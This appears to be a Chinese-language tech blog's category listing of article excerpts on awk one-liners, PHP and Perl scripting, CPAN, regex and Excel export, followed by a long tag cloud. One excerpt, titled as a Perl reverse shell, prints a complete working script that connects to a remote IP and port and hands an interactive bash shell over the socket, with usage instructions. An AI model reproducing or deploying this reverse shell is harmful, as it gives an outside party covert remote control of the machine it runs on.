分类 perl/php/python/gawk/sed articles

awk oneliner(一):空行、行号和计算

一、空行 1、将每行后面都添加一个空行 1awk '1; { print "" }' 这是怎么意思呢?一个单行awk命令,其实也是一个用awk语言写的程序,每个awk程序,都是由一系列的“匹配模式 { 执行动作 }”语句所组成的。在这个例子里面,有两个语句,“1”和“{print “”}”。在每个“匹配模式——执行动作”语句……

Continue reading

php批量扒取网站内容

最近发现了一个“小气”的学习站点。网站内容竟然不让复制,这样搞,怎么让我们考试的时候弄小抄,难不成要一个字一个字的去打不成。所幸的是咱是搞技术的,这点问题还是难不倒的,你不让复制刚好,这下我还懒得麻烦呢。直接搞个脚本把这一课的内容全扒取下来看岂不更方便。 说搞就搞,先是看源代码。不……

Continue reading

awk中RS,ORS,FS,OFS这个参数的用法

一,RS与ORS 1,RS是记录分隔符,默认的分隔符是n,具体用法看下 1[root@localhost test]# cat test1 //测试文件 2 111 222 3 333 444 4 555 666 2, RS默认分割符n 1[root@localhost test]# awk '{print $0}' test1 //awk 'BEGIN{RS="n"}{print $0}' test1 这二个是一样的 2111 222 3333 444 4555 666 其实你可以把上面test1文件里的内容理解为,111 222n333 444n555 6666,利用n进行分割。看下一个例子 3, 自定义RS……

Continue reading

perl反弹shell

将下面的代码保存为shell.pl 1#!/usr/bin/perl -w 2 3use strict; 4use Socket; 5use IO::Handle; 6 7if($#ARGV+1 != 2){ 8print "$#ARGV $0 Remote_IP Remote_Port n"; 9exit 1; 10} 11 12my $remote_ip = $ARGV[0]; 13my $remote_port = $ARGV[1]; 14 15my $proto = getprotobyname("tcp"); 16my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip)); 17 18my $shell = '/bin/bash -i'; 19 20socket(SOCK, AF_INET, SOCK_STREAM, $proto); 21 22STDOUT->autoflush(1); 23SOCK->autoflush(1); 24 25connect(SOCK,$pack_addr) or die "can not connect:$!"; 26 27open STDIN, "<&SOCK"; 28open STDOUT, ">&SOCK"; 29open STDERR, ">&SOCK"; 30 31print "Enjoy the shell.n"; 32 33system($shell); 34close SOCK; 35 36exit 0; 上个效果图先: perlshell 用法:执行./shell.pl Remote_IP Remote_Port,在远程……

Continue reading

php常用代码学习

PHP常用代码 最近在学习php,看视频的时候记了点。 1、连接MYSQL数据库代码 1<?php 2$connec=mysql_connect("localhost","root","root") or die("不能连接数据库服务器: ".mysql_error()); 3mysql_select_db("liuyanben",$connec) or die ("不能选择数据库: ".mysql_error()); 4mysql_query("set names 'gbk'"); 5?> 2、读取数据库,并实现循环输出 1<?php 2$sql="select * from liuyan order by ly_id desc"; 3$conn=mysql_query($sql,$connec); 4while($rs=mysql_fetch_array($conn)){ 5?> 6循环的内容......... 7<?php 8} 9?> 3、如何实现分页,……

Continue reading

php出现时区警告时的解决方法

PHP Warning: date() [function.date]: It is not safe是什么问题 在用PHP5.3以上的PHP版本时,只要是涉及时间的会报一个”PHP Warning: date() [function.date]: It is not safe to rely on the system’s timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected ‘UTC’ for ‘8.0/no DST’ instead in”这样的错。如何解决呢? 实……

Continue reading

另类方法实现对excel的操作

前一段因为数据提取的需要,需要在linux下对数据进行提取,并导出为execl格式。诚然,在linux下实现对excel文件的生成的方法很多。比较常见的就是利用perl和php语言及其扩展模块实现对excel文件的格式化操作及数据的写入、更改。不过这种现方式实现起来都比较复杂,一……

Continue reading

CPAN模块的安装

Perl 是一种解释型语言,其同时提供面向对象编程。perl的使用非常广泛,尤其是在运维过程中。使用CPAN提供的功能强大、构思精巧的 Perl 模块,对解决运维过程中的各种问题能起到事半功倍的效果。而CPAN(Comprehensive Perl Archive Network)是Perl模块最大的集散地,包含了现今公……

Continue reading

linux shell 正则表达式(BREs,EREs,PREs)比较

正则表达式:在计算机科学中,是指一个用来描述或者匹配一系列符合某个句法规则的字符串的单个字符串。在很多文本编辑器或其他工具里,正则表达式通常被用来检索和/或替换那些符合某个模式的文本内容。许多程序设计语言都支持利用正则表达式进行字符串操作。例如,在Perl中就内建了一个功能强大的……

Continue reading

Latest articles

Categories

Tags

ACL AD AES AI AWS Ansible Atlassian Azure BMC Blockchain Brocade CDH5 CL210 Cobbler Confd C语言 DDOS DISTINCT DNS Duckdb EKS ELK GCP Ghost Git Glusterfs Go Godaddy Grafana HBA HCIE Hotspot HttpWatch IBM IIS IOS InfluxDB Ingress InnoDB JavaScript Jinja2 KVM Keepalived Mplayer MySQLdb Netlify OpenResty PM PostgreSQL QoS RH318 RH442 RHCA RHCE RHEV RSA SRE SecureCRT Statuscode SublimeText2 TC Telecom Tencentcloud VBA aira2 alpine android anpic apache apm apparmor appfog apr apt-get aria2 array atop audit awk awstats axel backdoor backup bamboo bash bat benchmark bigdata bin bind bitwise book bootstrap bsd c1000 cache capistrano catlog centos centos7 chatops chattr check_mk checkinstall cisco clearall clickhouse cloud-desktop cmdb cms collectd comm compress conver corosync cpu crontab crunchbang css curl date decode dell desktop devops df dhcp diff diskpart django docker dos2unix dpkg drupal etcd excel fail2ban fastcgi fdisk fiddler find firewalld flask flvtool ftp function fuser geek gin github gitlab glances golang google gooupadd graphviz gravatra grep grub2 hadoop haproxy hardware heartbeat helm hexdump hhvm history html http/html/web httplogs https huawei huaweicloud hugo icmp iconv ifconfig inotify iopp ipmitool iptables iredmail iscsi isito it-news java jdk jenkins jira join joomla k3s k8s kdump kernel kingate lamp last leetcode lib light-http linux linux高级篇 ln ls lsi lsof lvm lvs mac mail man mark markdown matplotlib maven memcached microservice mimikatz mkdocs mkpasswd mmonit mod_jk mongodb monit monitor mono moodle mosh mount mpm mrtg mtr my.cnf mysql mysqlbinlog mysqld_multi mysqldump mysqlhotcopy nagios nc nethogs nexus nfs nginx nmon nocatlog node.js nrpe ntfs ntop ntp obs ocr open-falcon openbox opencv openldap openssl openstack oracle oswatch paas pacemaker pam pandas parted pcp pcre pdf percona perl pexpect pgrep php php-fpm ping plsql develope postfix powershell prettify proc prometheus puppeteer pushd pwgen pxe pyecharts python python模块 radmin raid rdesktop read redhat redis redmine regex rh134 rhel7 rhel8 rm rman rootkit route rpm rpmforge rrdtool rsync rsyslog safe saltstack samba scapy screen sed selenium selinux seo seq session set shc sheepdog shell shopt sitemap skydns smokeping snffier snmp socket soft sort spider sql sqlserver squid ss ssh sshpass strace strings su sudo suse svn sysbench syslog-ng sysstat systemd t tar tcpcopy tcpdump tech telnet tengine test testlink threads time tmux tomcat touch tr tsar twisted ubuntu udev ulimit unix unixbench user-agent useradd varnish vbs vercel vi vim visudo vmstat vmware vnc voice vpn vscode vsftp vsftpd vue watchdog web webcam webistrano wget wiki windows wol wordpress workshop wsl x-windows xampp xcache xmllint xtrabackup yule yum zabbix zeromq zip zonetime zookeeper 下载工具 云主机 云原生 代理 加密 古意 吐槽 圈里圈外 娱乐 字符串函数 安全 平台架构 意林 推理 提权 故事汇 故障案例 数据结构 每日看点 民国史 生活 科学记录 站长管理工具 算法 管理 网站架构 翻墙 股票 行业 诗韵 负载均衡 远程管理 面试题

Links

Meta